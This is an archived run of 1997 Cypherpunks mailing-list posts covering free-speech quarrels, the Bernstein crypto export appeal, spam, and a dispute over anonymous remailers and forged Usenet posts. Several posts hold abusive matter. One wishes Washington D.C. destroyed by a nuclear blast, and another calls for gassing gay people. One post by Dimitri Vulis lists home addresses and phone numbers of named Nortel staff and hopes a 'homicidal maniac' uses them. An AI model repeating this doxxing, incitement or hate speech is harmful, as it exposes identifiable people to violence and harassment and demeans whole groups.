they agree with me or not is unimportant. I repudiated the notion that I should "apologize" or "withdraw" my statements. "Anonymous" had attempted to shame me into apologizing or withdrawing my statments, and I refused to. And whether Bryce agrees with Anonymous or not is of little concern to me. I simply _assume_ that many people will have many views on this list. I don't apologize because someone was bothered by my views. >If you don't like somebody's ideas, I would suggest that you don't >read their messages. If you don't want to see a particular idea, >perhaps you could hire somebody to remove the posts from your mail >queue that contain it. If you don't like other people hearing certain >ideas, I recommend you get used to it. > Sounds good to me. Over the several years of this list, there has generally been very little of the "Joe should apologize and withdraw his remarks" kind of argumentation. For good reason. Most people are too smart to be affected by this lame sort of argument. Look around. How often do people change or alter their views because someone says "You should be ashamed of yourself"? Not often. To withdraw an opinion because Anonymous or Bryce thinks an opinion is wrong or immoral is a sign of cowardice and lack of confidence. To compound the debating style errors made by Anonymous and his supporter(s), Anonymous also misrepresented my views about McVeigh and OKC. In a series of posts a few months or so ago, I made my position clear: that I could "understand" McVeigh's actions, in the same way one can understand someone snapping under pressure. I also pooh-poohed the "human tragedy" aspects of the OKC story in the same way any warrior must pooh-pooh specific cases where innocents, alleged or real, die in battles. Finally, I was not involved in the bombing of the Murrah building, and had no causal link to it, and did not do it, and probably won't be bombing any buildings in the foreseeable future. So any attempt to somehow link me to this bombing, or to claim that my failure to declare McVeigh to be Satan Herself, etc.. consitutes complicity is magical thinking at its worst. This same kind of leap in logic occurred in the "I won't weep if D.C. is nuked" ---> "Tim is planning to nuke D.C." logical leap. Complete nonsense, compounded by the "If you don't plan to nuke D.C., then denounce your earlier views and apologize to the list" crap. Methinks Anonymous and Zooko are steeped in the "self-criticism" style of Maoist ideological purification. Personally, I hope to see D.C. purified in a 30 megaton burst of cleansing fusion. Think of how may problems it would solve. The leech state of burrowcrats and a million welfare addicts all wiped out. Imperial capitals need to be sacked for the subjugated serfs to breathe freely. (The museum stuff in D.C. is is mostly either not all that important or is already adequately preserved in other ways. We'll get by with the copies archived in Seattle and environs, in the "other" Washington, ironically enough.) So sue me. --Tim May The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From mj at creative.net Fri Dec 5 01:38:50 1997 From: mj at creative.net (mj at creative.net) Date: Fri, 5 Dec 1997 17:38:50 +0800 Subject: Cypherpunks, PGP Buyout, and Writing Code... Message-ID: >Perhaps the buy-out of PGP is a good thing. Consider that now there is a >clear and present motive for Cypherpunks to start writing the next wave of >world-class crypto...it really is the *only* shure way that the process >doesn't get subverted...we're no longer able to rely on a single commen >source of crypto tools. > Seems like a crypto module for Linux would be a good start, if there's not one already. As part of Linux, the source would stay public domain, so you could trust it. It also seems security built into the OS would be the hardest to circumvent. And finally, since Linux is free, there's no obstacle besides convenience for people on other platforms to acquire it (and it runs on several types of hardware). Thus, the crypto module could also help Linux, which is also good for keeping people in control of their computers. I'm getting to where I don't trust any program I can't see the source code of. From gnu at toad.com Fri Dec 5 01:48:42 1997 From: gnu at toad.com (John Gilmore) Date: Fri, 5 Dec 1997 17:48:42 +0800 Subject: Dec 8th SF C'punks meeting: export controls on appeal Message-ID: <199712050859.AAA15035@toad.com> We're having yet another "Cypherpunks Dress-Up Day" on Monday, December 8th. Meet at the Federal Appeals Court in San Francisco, at 7th and Mission Streets (new location!). The hearings will start at 9AM, but several cases will precede ours, so we're guessing we'll start about 10:30. Dress sharp: TV crews, your fellow cypherpunks, and three esteemed judges will all be checking out your duds. Park at the Fifth & Mission garage, or take transit to 7th & Market and walk a block. After the hearing, EFF will have a press conference down the block at the Best Western Motel, 121 7th Street. This will feature commentary from the EFF legal team and local First Ammendment scholars, explaining the significance of what happened in the hearings, and answering questions. Then we'll have a room reserved for lunch a few blocks away, at Annabelle's Bar & Bistro, 68 Fourth Street (between Market & Mission). We expect to get there by about 1:30 pm. It's a flat rate of $14 for lunch, and we can probably send splinter groups into the main restaurant if we overfill the room. The legal team will be there, as well as some of the EFF Board, and some potential donors to the case. (Want to be one?) The original Bernstein case is over. We won it. The government appealed that decision, and is asking the 9th Circuit Court of Appeals to overturn Judge Patel's rulings as erroneous. Judges Myron H. Bright, Betty B. Fletcher, and Thomas Nelson have been reading the government's appeal, our response, and the government's reply. They'll hear twenty minutes from each side, and ask whatever questions they like. Then (some days or weeks later) they'll publish their decision. The main issue before the Court is whether the export control laws and regulations violate the First Amendment. The Government is arguing that if their *intent* is to regulate something other than publication, they only need to show that the rules are "narrowly tailored" to serve a "substantial government interest." The government argues that if it meets that test, it does not have to worry about whether the regulations are a "prior restraint" on publication. Bernstein is arguing that what matters is whether the government *actually* regulates publication (no matter what its supposed "intent"), and that the government's export control regime is an unconstitutional prior restraint on Bernstein's speech. Check out the fancy new courtroom, which your taxes helped to build! Proceed with us up the judicial hierarchy! Shake hands with the intrepid lawyers working hard to protect our rights! Banter with NSA representatives specially flown in for the occasion! Talk with journalists who cover crypto! Be quoted talking about crypto freedom! As background, Dan Bernstein, ex-grad-student from UC Berkeley, sued the State Department, NSA, Commerce Department, Justice Department, and other agencies, with help from the EFF. These agencies restrained Dan's ability to publish a paper, as well as source code, for the crypto algorithm that he invented. The judge decided that their regulations are not only unconstitutional as applied to Dan, but in general. We're eating our way up the judicial food chain to see if the ruling is confirmed at each level of expertise. Full background and details on the case, including our legal papers (and many of the government's as well), are in the EFF Web archives at: http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case. Like Phil Karn's and Peter Junger's cases, this lawsuit really has the potential to outlaw the whole NSA/FBI crypto export scam. We intend to make your right to publish and export crypto software as well- protected by the courts as your right to publish and export books. We have won three times and we're getting closer, though it's likely to require Supreme Court review before the issue is finally settled. Please make a positive impression on the judges. Shine yer sandals and iron your t-shirts, if you can't borrow something from your banker. Break out that fedora, and those elegant but conservative dresses. Show the judges -- by showing up -- that this case matters to people like you -- more than just to a professor and some bureaucrats. Demonstrate that their decision will make a difference to your society and your profession. That the public and the press are watching, and really do care that how well they handle the issue. We'll have to be quiet and orderly while we're in the courthouse. There will be no questions from the audience (that's us), and no photography there (except by pre-arrangement with the court). You can take notes if you like. I haven't run the gauntlet of the guards there yet, but I expect similar suspicious activities (small innocuous metal objects checked before you can enter). The only thing standing between today and the end of the crypto export controls is us convincing about ten people that we're on the right track. Come help woo over three of them. John Gilmore From berezina at qed.net Fri Dec 5 02:50:48 1997 From: berezina at qed.net (Paul Spirito) Date: Fri, 5 Dec 1997 18:50:48 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: <3487da07.565957@mail.qed.net> On Wed, 03 Dec 1997 19:14:21 -0500, James Love wrote: >But if you think you can really >explain what constitutes a leftist, in your view, I'm ready to read it. Canni try? Leftists believe in progress; Rightists believe in regress; I believe in egress. Ie: repurposing archaic terms not my applet of tea. Paul http://www.nihidyll.com/gallery/Tornado.jpg From frissell at panix.com Fri Dec 5 02:51:19 1997 From: frissell at panix.com (frissell at panix.com) Date: Fri, 5 Dec 1997 18:51:19 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <199712041107.GAA29227@users.invweb.net> Message-ID: <3.0.2.32.19971205053136.03832b08@panix.com> -----BEGIN PGP SIGNED MESSAGE----- At 03:02 PM 12/4/97 -0500, J. Lasser wrote: >And Singapore survives quite well being a totalitarian capitalist >society. Sure, you can pick nits and claim that Singapore's not entirely >capitalist, but it's more capitalist than this country and certainly >less free, too. > >The fact of the matter seems to me to be that most people are perfectly >satisfied to be passive consumers. While they like to be free, that >means free to make purchasing decisions. They also like to be safe, and >if they have to lose civil liberties to be safe, then they're all for >it. Just so long as they can buy what they want. That seems to me to >describe the essence of the Singapore problem, and I'd bet it holds true >for the U.S. (and many other places) as well. Forty years ago Singapore was poor and at risk of being wiped out by Malays or Commies or both. (Maylays killed 1 Meg of their own Chinese in the '60s.) I'm sure that a few decades of being rich and safe will engender in that population a liking for social freedom. They are currently more economically free than we are. We rate 5th and they are 2nd or 3rd on the two indices of economic freedom. They have many personal freedoms as well. They have speech restrictions but are quite outspoken in any case. The gum and spitting and smoking restrictions are no different than the smoking bans and such we are coming to live under. We have one-party rule too. DCF -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQCVAwUBNIdmioVO4r4sgSPhAQGt+AQAuKrTJTWfuUjDSNZO7l0ZyKFJ1UViAU+v IsnmkcSoFSYok+1Etzo/x7t2z1wY9zVN5Smi2w2kzZRoymLS41LMZW7DvBEob7yw Ur18j2fLdYG2hIkcXiAkQaTY96SYfmLRnIESc107Xtmgt00OTVBfDyi3QUbwID0v 349sPDAohIs= =ceec -----END PGP SIGNATURE----- From dlv at bwalk.dm.com Fri Dec 5 05:21:50 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Fri, 5 Dec 1997 21:21:50 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <199712050444.XAA03304@bofh.internal.net> Message-ID: Steve Thompson writes: > As for Gays and Lezbians, well, sorry but that's right out. Such unproductive > behaviour cannot be tolerated. Gas the perverts. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Fri Dec 5 05:21:52 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Fri, 5 Dec 1997 21:21:52 +0800 Subject: Dec 8th SF C'punks meeting: export controls on appeal In-Reply-To: <199712050859.AAA15035@toad.com> Message-ID: John Gilmore writes: > We're having yet another "Cypherpunks Dress-Up Day" on Monday, > December 8th. John Gilmore is a fascist cockcucker. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Fri Dec 5 05:37:23 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Fri, 5 Dec 1997 21:37:23 +0800 Subject: Chris Lewis kills babies after he molests them. In-Reply-To: <3.0.3.32.19971204161846.0391b08c@mail.atl.bellsouth.net> Message-ID: "Robert A. Costner" writes: > At 12:07 PM 12/4/97 EST, Dr.Dimitri Vulis KOTM wrote: > >I might have a good cause of action against Chris Lewis, but the asshole is > >in Canada. (I found out the forger's home address. I hope someone blows his > >fucking brains out, for he surely deserves to die.) [snip] > > In most matters where I have been involved with Chris Lewis, I have tended > to side with Chris. Therefore you're a censorous cocksucker and an asshole. Fuck you. C, P, & G. Lewis reside at: 483 Vances Side Road (Box 124), Dunrobin (a suburb of Ottawa), Ontario K0A 1T0, Canada, home tel: +1 613 832 0541, office tel: +1 613 763 2935 I hope some homicidal maniac makes use of this information. Chris Lewis uses the resources of his employer, Northern Telecom / Bell North Research, to forge his cancels. Complaints about Chris Lewis should be sent directly to Human Resources. That way they go directly into his personnel file for safekeeping and remain unadulterated by his chain of command. Nortel does not have a security officer in personnel (incredible as it seems, it's true), so use the director as follows: Jim Young, Director, Human Resources Tel: +1 905 863 4636 Fax: +1 905 863 8300 (one of three faxes, so call for the others if line is busy) E-mail: jamesy at bnr.ca Main Nortel switchboard is at +1 613 763 2935. Below is the chain of command for Chris Lewis, but beware of complaints to them as they try to cover up for each other: * David R. Niles, Assistant Vice-President Research and Development for Infrastructure Information Systems Tel: +1 613 763 8635 Fax: +1 613 765 3893 Home address: 624 Glenside Terrace, Orleans, Otario K4A 2B6, Canada Home tel: +1 613 834 2006 * Reginald I. "Reg" Foulkes, Director Messaging and Security Internet & Security Systems 8M80 Tel: +1 613 763 4131 E-mail: riskit at bnr.ca, v2ksys at bnr.ca Home address: RR 2 Stn main, Trenton, Ontario K8V 5P5, Canada Home tel: +1 613 392 5042 * Seema Goel, Manager 8M86 Tel: +1 613 763 9161 E-mail: secdevco at bnr.ca Note that this e-mail address is sometimes used by another woman named Marie L. Lewis. * Chris Lewis, 8M86 Tel: +1 613 763 2935 Home address as above. Also cc: all complaints to the following: * Marie L. Lewis Messaging and Security Infrastructure Tel: +1 613 763 3495 * Marcus Leech Tel: +1 613 763 9145 Fax: +1 613 765 1407 e-mail: mleech at bnr.ca Home: RR 3 Stn Main, Smiths Falls, Ontario K7A 4S4, Canada Home tel: +1 613 283 3711 From dformosa at st.nepean.uws.edu.au Fri Dec 5 06:06:26 1997 From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa}) Date: Fri, 5 Dec 1997 22:06:26 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <199712041107.GAA29227@users.invweb.net> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On Thu, 4 Dec 1997, William H. Geiger III wrote: [...] > >For a somewhat better map at least check out the Nolan chart. > > >http://www.self-gov.org/lp-quiz.shtml > > As I stated in my previous post the Nolan chart is flawed. In it's > attempts to be "two-dimensional" it artificially separates interdependent > philosophies. Economic Freedom = Personal Freedom. However there are meany peaple that sepearate these things philosphicly. Any accruate mesurment of a persons polical views must also take this into account. I would argue that while the goverement has no right to stick its noise into who (or what) I am fucking in the priversy of my bedroom [1], I would consider its duity to force comperneys to tell me what (or who) that have put in the meat pie I eat afterwards. This would brake your assurtion that everybody beleaves that EF = PF. For anouther example there is a very powerfull group called the lyons forum, this group is very very pro free trade, however thay where behind the scrapping of both ethuenasia laws and other laws desined to increase personal liberty. So the devide exists out there and any fair measure of politial option should measure this. [1] Given the normal proviso of concenting adults. - -- Please excuse my spelling as I suffer from agraphia see the url in my header. Never trust a country with more peaple then sheep. ex-net.scum and proud You Say To People "Throw Off Your Chains" And They Make New Chains For Themselves? --Terry Pratchett. I do not reply to munged addresses. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQCVAwUBNIfzLaQK0ynCmdStAQEwwQQA2/x69t8xuwpUm3iNCu39b7MY9ueRgS/1 t86SC4MP9ioQjyWYhzaPNHlg7L59FuyLVL98a5t3howYPnLeKMgXusdPFwLyXSe9 05dCVhXV+GRGdBc5eKH7mQD6vHDAfbUvLDoSPzx8Q1ALLlLTmrkakfemk6snqVgf OyIfzim3otU= =DJc5 -----END PGP SIGNATURE----- From holovacs at idt.net Fri Dec 5 06:28:40 1997 From: holovacs at idt.net (jay holovacs) Date: Fri, 5 Dec 1997 22:28:40 +0800 Subject: Censorial leftists (Was: Interesting article) Message-ID: <199712051359.IAA10734@u1.farm.idt.net> This post has a strange deja vu to it. I can remember back in the '60s when revolutionary wannabes would talk of the glorious peoples paradise while living in their comfortable suburban homes. How the workers' education system was open to all, no one was unemployed... Now it has come full circle. Singapore is capitalist, so loss of freedoms can be glossed over. Many of us on this list would already be subject to the law for postings critical of government. People are in jail for looking at Penthouse on the net. Here we worry about filtering in libraries, they have whole country filtering. We worry about hate speech codes, they prohibit anything 'promoting racial or religious disharmony' (don't publish the Bell Curve there..), what good is being able to afford a printing press when you need the government's permission to publish. A few years back, at least, there were pictures in the airport of approved haircuts, you could not enter the country if your style did not conform. No first amandment, no fourth, no fifth, and don't even think about getting a gun permit. It is amazing that people who are so offended by *government action* would gloss over a government that intrudes itself into so many areas of private life. We are appalled by those who would sell their freedoms for perceived safety. Is it less foolish to sell *fundamental* freedoms for a few bucks more income? Jay ========================== >From: frissell at panix.com >To: "J. Lasser" >Cc: fight-censorship at vorlon.mit.edu; cypherpunks at toad.com >Subject: Re: Censorial leftists (Was: Interesting article) >Date: Fri, Dec 5, 1997 5:31 AM > >-----BEGIN PGP SIGNED MESSAGE----- > >At 03:02 PM 12/4/97 -0500, J. Lasser wrote: > >>And Singapore survives quite well being a totalitarian capitalist >>society. Sure, you can pick nits and claim that Singapore's not entirely >>capitalist, but it's more capitalist than this country and certainly >>less free, too. >> >>The fact of the matter seems to me to be that most people are perfectly >>satisfied to be passive consumers. While they like to be free, that >>means free to make purchasing decisions. They also like to be safe, and >>if they have to lose civil liberties to be safe, then they're all for >>it. Just so long as they can buy what they want. That seems to me to >>describe the essence of the Singapore problem, and I'd bet it holds true >>for the U.S. (and many other places) as well. > >Forty years ago Singapore was poor and at risk of being wiped out by Malays >or Commies or both. (Maylays killed 1 Meg of their own Chinese in the '60s.) > I'm sure that a few decades of being rich and safe will engender in that >population a liking for social freedom. They are currently more economically >free than we are. We rate 5th and they are 2nd or 3rd on the two indices of >economic freedom. They have many personal freedoms as well. They have >speech restrictions but are quite outspoken in any case. The gum and >spitting and smoking restrictions are no different than the smoking bans and >such we are coming to live under. We have one-party rule too. > >DCF >-----BEGIN PGP SIGNATURE----- >Version: PGP for Personal Privacy 5.0 >Charset: noconv > >iQCVAwUBNIdmioVO4r4sgSPhAQGt+AQAuKrTJTWfuUjDSNZO7l0ZyKFJ1UViAU+v >IsnmkcSoFSYok+1Etzo/x7t2z1wY9zVN5Smi2w2kzZRoymLS41LMZW7DvBEob7yw >Ur18j2fLdYG2hIkcXiAkQaTY96SYfmLRnIESc107Xtmgt00OTVBfDyi3QUbwID0v >349sPDAohIs= >=ceec >-----END PGP SIGNATURE----- > > > From rpini at rpini.com Fri Dec 5 06:33:59 1997 From: rpini at rpini.com (Remo Pini) Date: Fri, 5 Dec 1997 22:33:59 +0800 Subject: More microsoft monopoly::Re: NT 4.0 Option Pack released In-Reply-To: Message-ID: <3.0.2.32.19971203210753.00b32480@193.192.247.149> At 09:23 03.12.97 -0800, you wrote: > >>Another message claims VC++ requires IE as well -- can anyone confirm >>this? >> > >You must have IE (3+) installed in order to use MS's visual java, FYI. > You must have IE installed in order to use MS's Developer Network Resources CD and soon for all products using their "new" info-browser (IDE's of VC++, VJ++, whatever++...) ----------------------------------------------------- Fate favors the prepared mind. (from "Under Siege 3") ----------------------------------------------------- Remo Pini T: +41 1 350 28 88 Pini Computer Trading N: +41 79 216 15 51 http://www.rpini.com/ E: rp at rpini.com key: http://www.rpini.com/crypto/remopini.asc ----------------------------------------------------- From robin at abc-web.com Fri Dec 5 06:34:20 1997 From: robin at abc-web.com (Eureka!) Date: Fri, 5 Dec 1997 22:34:20 +0800 Subject: FREE HITS+FREE FEEDS! Message-ID: <199712051417.OAA06560@links.hitbank.com> Dear Webmaster/Webmistress, * YOUR EMAIL WAS GIVEN TO ME AS AN ADULT WEBMASTER WHO MIGHT * BE INTERESTED IN FREE HITS, AND FREE VIDEO FEEDS. PLEASE * CLICK HERE TO BE INSTANTLY AND PERMANENTLY REMOVED FROM * FUTURE WEBMASTER MAILINGS: MAILTO:REMOVE at WWW.HITBANK.COM INCREASE YOUR HITS FOR FREE! Build your site's traffic, with a tidal wave of hits - FREE from us. Please read to the end of this email to get 3 FREE hardcore feeds for your web site, our gift to you for taking the time to read this email. A QUICK COPY+PASTE EQUALS LOADS MORE HITS FOR YOU! We've got bucketloads of surfers looking to dive into a top sexy site, like yours - just as soon as we link to you. You then sit back, and watch your advertisers write you bigger, fatter checks. Over 400 top adult sites are using us alrea- dy, so you know it's a product that works! WHAT ARE WE GIVING AWAY? We publish Eureka! The daily adult newsletter, packed with FREE porn. Our subscriber base is growing incredibly fast. Why? Because we have 100s of FREE hardcore pix, links to FREE hardcore video channels, FREE competitions, and more. HOW CAN YOU GET YOUR SHARE OF THESE FREE HITS? Easy, just visit our site and signup totally FREE to be sent some html code you copy and paste onto your pages. When a surfer sees the code, they can click on a button to sign up to receive Eureka! FREE, in their email each day. When they click, nothing visible happens. They actually remain on your site where they continue surfing. This is totally unique in traffic generation programmes. HOW DO YOU BENEFIT? For every surfer that signs up you get one Eureka! credit. For each credit your advert will go out on one of our emails EVERY day from then onwards - day in day out. If you get 100 a day, for example, after a week you have 700 credits. Then, after a month 2,800, and after a year 36,500. That's a whop- ping 36,500 FREE impressions you will receive from us, every single day. And just think, what if you got 1,000 people to click the button every day? After a year that would net you 365,000 impressions a day from us! STILL NOT SURE? Remember, It's totally FREE. Just try it. If it doesn't work for you, bin it! But you'll still get daily impressions from those you've signed up for weeks/months, even years to come. SO WHAT ARE YOU WAITING FOR? Get your piece of the action. Sign up now to be in right at the beginning and build up a head start against your compet- itors. Start earning your credits today. And tomorrow we'll be sending out emails with YOUR advertising on - FREE! ============================================================ CHECK OUT EUREKA! ............... http://eureka.abc-web.com/ ============================================================ YOUR FREE HARDCORE FEEDS Thankyou for taking the time to read this email. We hope to see you as a Eureka! partner site soon. As a thank you for taking the time, here are the FREE feeds we promised you. You are given complete permission to link to all these URLs from anywhere on any site. They contain a variety of mater- ial, from weird, to lesbian, pregnant, gay and much, much more and will be a great puller for your site. Thanks again! ============================================================ HARDCORE VIDEO FEED SET 1 ........... http://207.168.184.26/ HARDCORE VIDEO FEED SET 2 ............ http://204.244.215.7/ HARDCORE VIDEO FEED SET 3 .......... http://207.136.152.129/ ============================================================ - Robin. From berezina at qed.net Fri Dec 5 06:51:18 1997 From: berezina at qed.net (Paul Spirito) Date: Fri, 5 Dec 1997 22:51:18 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: <348c05e2.11794993@mail.qed.net> On Thu, 4 Dec 1997 17:22:23 -0700 (MST), Jim Burnes wrote: >In either case, the act of buying and selling things is the ultimate >expression of free association/assembly. I voluntarily associate >with the guy who makes my pizza, builds my car, mows my law etc. Really? I avoid associating with those who mow my laws. Ha ha. Seriously, I've never lived in Sweden or Singapore -- if I do, I'll get back to the list on which I prefer -- but I'm troubled by the tendency of Libertarians to err on the side of big business fetishism rather than civil liberties. Both are part of the Doctrine, of course*, but I often hear them argue that wild-west capitalism inevitably leads to political freedom -- so, not to worry -- but rarely that political freedom invariably leads to laissez-faire capitalism (so, not to worry). You might say that the latter is NOT TRUE. Well, right-o, but neither is the former. Economic progress under a fascist regime leads inevitably to political freedom? You guys actually make this argument. Paul *Yes, Libertarians criticize corporate welfare, but just because it corrupts the notion that a person's entire worth can be summarized in a stock portfolio. http://www.nihidyll.com/gallery/Tornado.jpg From works4me at ix.netcom.com Fri Dec 5 23:15:13 1997 From: works4me at ix.netcom.com (works4me at ix.netcom.com) Date: Fri, 5 Dec 1997 23:15:13 -0800 (PST) Subject: Get Your FREE Web Page Now!! Message-ID: <> Join Now! Tony Little Starts His Informercial in Just A Few weeks! Email Me For Your Own Free Self-Replicating Web Page. No start up cost and pay nothing if your downline isn't sufficient in 30 days! Get Your FREE Page NOW! Simply hit REPLY! From works4me at ix.netcom.com Fri Dec 5 23:15:13 1997 From: works4me at ix.netcom.com (works4me at ix.netcom.com) Date: Fri, 5 Dec 1997 23:15:13 -0800 (PST) Subject: Get Your FREE Web Page Now!! Message-ID: <> Join Now! Tony Little Starts His Informercial in Just A Few weeks! Email Me For Your Own Free Self-Replicating Web Page. No start up cost and pay nothing if your downline isn't sufficient in 30 days! Get Your FREE Page NOW! Simply hit REPLY! From Use-Author-Address-Header at [127.1] Fri Dec 5 07:27:39 1997 From: Use-Author-Address-Header at [127.1] (Anonymous) Date: Fri, 5 Dec 1997 23:27:39 +0800 Subject: Gary Burnore Caught in own Trap (Long) In-Reply-To: <6617oi$c0f@examiner.concentric.net> Message-ID: <75878341ed9bfcd7e352e4319bf91e47@anonymous.poster> Belinda Bryan wrote: > X-No-Archive: yes > What those who are capable of looking at this with an open mind might > notice is that there is much more to this story than you and Mr. > Know-it-All Sam are telling. Excuse me while I rain on your parade and > repost some SERIOUS ANALYSIS from someone with a clue: What motive would Sam have for being part of the mythical "Spam baiting/ forgery/libel/teenager-abusing/cyber-stalking conspiracy" you've concocted? Could it be that Gary is now searching for another person to falsely accuse of doing all of these things, now that he and the first person he accused sem to have declared a de facto truce? Is Sam going to be your next victim? > > What seems to have happened here is that someone telnetted to the SMTP > > port of myriad.alias.net and forged E-mail from your address. If > > these are full headers, then this forgery did not involve remailers at > > all. The perpetrator has therefore run the risk of being traced. Which blows a huge hole in Gary's own theory that some evil "anon asshole" used a remailer to do it, thus justifying his anti-remailer witch hunt. And since you've chosen to quote that opinion, what were the results of that trace he mentioned? > Oh, my. Looks like that shoots yours and Sam's theories right straight > to hell, doesn't it? On to the next lie: ^^^^^^^^^^^^^^^^^^ How many do you plan to tell? > In case you missed it, let me repeat: "looks like somebody sent you a > message with a Return-Receipt-To: header set to > alt.revenge at myriad.alias.net. To which the broken, mis-configured mail server at DataBasix autoresponded. Why would Gary have claimed he was going to fix it if it weren't broken? > >What would be the point in trying to forge a Usenet post to make it look > >like it came from "mmdf at databasix.com", anyway? > > You're the one with all the fricking "answers", why don't you tell us? You might start with asking yourself who stood to benefit from this happening. You and Gary are the ones who keep bringing it up, because it's the only "evidence" you have to support your grand conspiracy theory. Thus far, all of your alleged "evidence" has proven nothing because it's all (conveniently) had truncated path headers. > >Gary Burnore's forgery allegations against Mailmasher are similarly > >suspect. > > Methinks you are confusing your alleged villains. Usually Wotan gets > the blame for closing Mailmasher and Gary and I get the blame for > huge.cajones. While I have a lot of respect for Jeff Burchell (and I've > met him personally, can you say the same?), I disagree with the > allegations he made against Wotan re: the Mailmasher attack. Do try to > recall that even Jeff said he was *speculating* as to what happened with > MailMasher and the software piracy fiasco. And you've got a better explanation of what happened? Right after Billy McClatchie went on his campaign to get Mailmasher shut down, someone signs up for a Mailmasher account, puts out a fake post advertising some "warez", then dutifully turns himself into the SPA to get Mailmasher in trouble. Just a "coincidence", right? And just because you, Billy McClatchie (Wotan), and Gary Burnore are all staff members at DataBasix, and the two servers that you three attacked in sequence were both run by the same person, we're not supposed to make the conncection? As Gary himself once said "There are far too many coincidences". He was at least right about that. > And if you think Jeff closed huge.cajones because of Gary and me, you > obviously don't know the whole story. But what's new? What you don't > know, you just make up. I've read Jeff's account, and you, Gary, and Bill "Wotan" McClatchie are the only attackers he mentioned. > >First of all, before planning the attack, somebody apparently > >didn't do his homework, or he'd have realized that Mailmasher was a > >web-based 'nymserver, not a remailer. > > I'll freely admit I don't really understand the difference between the > two. But I distinctly recall seeing dozens of messages with a from line > with *my* email address and a message ID of mailmasher.com. Like so: > > ------ > > Path: > ix.netcom.com!ix.netcom.com!super.zippo.com!zdc!news1.mpcs.com!anon.lcs.mit.edu! > nym.alias.net!mail2news > Date: Wed, 5 Feb 1997 22:22:07 -0800 > Message-ID: <199702060622.WAA09539 at mailmasher.com> > From: eridani at ix.netcom.com (Mailbomb^me) > Comments: Please report misuse of this automated remailing service to > > Subject: Nuke Your Local Junk Mailer! > Newsgroups: misc.entrepreneurs,biz.mlm,alt.sex.erotica.marketplace, > alt.sex.erotica.marketplace,alt.sex.erotica.marketplace > X-No-Archive: yes > Mail-To-News-Contact: postmaster at nym.alias.net > Organization: mail2news at nym.alias.net > Lines: 5 > > This message is not intended for humans to read. Other than a Message-ID and a Comments line (both forgeable), what indicates this came from Mailmasher? Why was Mailmasher not in the path header? You still haven't produced a single shred of evidence that this came from Mailmasher. You haven't even shown from any of the Mailmasher help files that Mailmasher even had this capability. In someone's haste to point the blame at the remailers' ability to paste From: headers, they chose the wrong target -- since Mailmasher was not a remailer and had no header pasting capability. Mail coming from Mailmasher accounts all contained a pseudonym followed by "@mailmasher.com". Access was via a web-based interface, and there was no place to specify a From: line. > You're an idiot and a liar. Engaging in ad hominem is an obvious attempt to divert attention from your lack of evidence. > First of all, Gary stubbornly didn't start > X-No-Archiving his headers until a couple of months ago. You should > know, Mr.Whining About Not Being Able to Track Gary Through Deja News > Anymore. Actually, in the beginning it was YOU, McClatchie, and the so-called "spam baiter" that used the No-Archive header. Gary didn't use it until later when he became worried that people could actually read his old posts and see how his story changed over time. Gary has apparently gone back and even had his old posts nuked from the archives, as well. Apparently Gary "I have nothing to hide" Burnore has reconsidered that stance. If someone wanted to forge a post to embarass you, would it make sense to hide it with a No-Archive header? Why limit the readership like that? > Secondly, it's not possible to forge message IDs with a piddly > Netcruiser GUI account. Netcruiser accounts can't telnet into an SMTP server, which is your theory of how the "forgery" was done? Also, you, Gary, and Wotan have shell accounts that are quite capable of doing many of the things you claim that your mythical "spam-baiting/forging/libelling/cyber-stalking/child-molesting" mega-villain is guilty of. You also once claimed that this person had spam baited "every known email address of DataBasix staff and customers". Who but a DataBasix insider would have access to that kind of information? > Lastly, it certainly is convenient that every single spam bait > posted--thousands between 4/97 and 11/97--contained the X-No-Archive: > yes header. Makes it really easy for someone with a vendetta to say, > 'oh no, they don't exist, because we can't verify them!' Conveniently similar to the posts of Wotan and yourself. And that quote is obviously the reason that you, Gary, and Wotan also utilize that same header, right? So that you can later claim that anything you post and later regret was "forged"? > That's an insane theory cooked up by someone with a very twisted mind. As are most of Gary's theories. > How many people posting anonymously have > been inadvertently denied an audience because of one IDIOT ruining it > for everyone? When have you EVER had a decent thing to say about anonymous posters? Can you cite even one instance? Are you suddenly trying to polish up DataBasix' image? Polish that turd all you want, and it still won't smell any better! > Have we "harassed" any > other remailers since then? Hhm? Why don't you _ask them_, mouth? Jeff didn't reveal your harassment of him until AFTER he had shut down his remailer and had no further retribution to fear. And we didn't learn of your attacks on Jeff's machines until Gary made a similar taunt back in June. > lies and distortions> Stop your pitiful whining about "selective snipping". Anyone who missed it the first time can read your epic whine-fest by following the reference headers. That's what they're there for. And if they're reading this thread via DejaNews and can't, well that was YOUR choice, not mine. My posts are archived for all to read. -- From info at planet-solutions.com Sat Dec 6 00:08:10 1997 From: info at planet-solutions.com (info at planet-solutions.com) Date: Sat, 6 Dec 1997 00:08:10 -0800 (PST) Subject: Household toxins Message-ID: <199712060808.AAA22584@toad.com> TOP "10" KILLER HOUSEHOLD CHEMICALS AIR FRESHENERS: Most air fresheners interfere with your ability to smell by coating your nasal passages with an oil film, or by releasing a nerve deadening agent. Known toxic chemicals found in an air freshener: Formaldehyde: Highly toxic, known carcinogen. Phenol: When phenol touches your skin it can cause it to swell, burn, 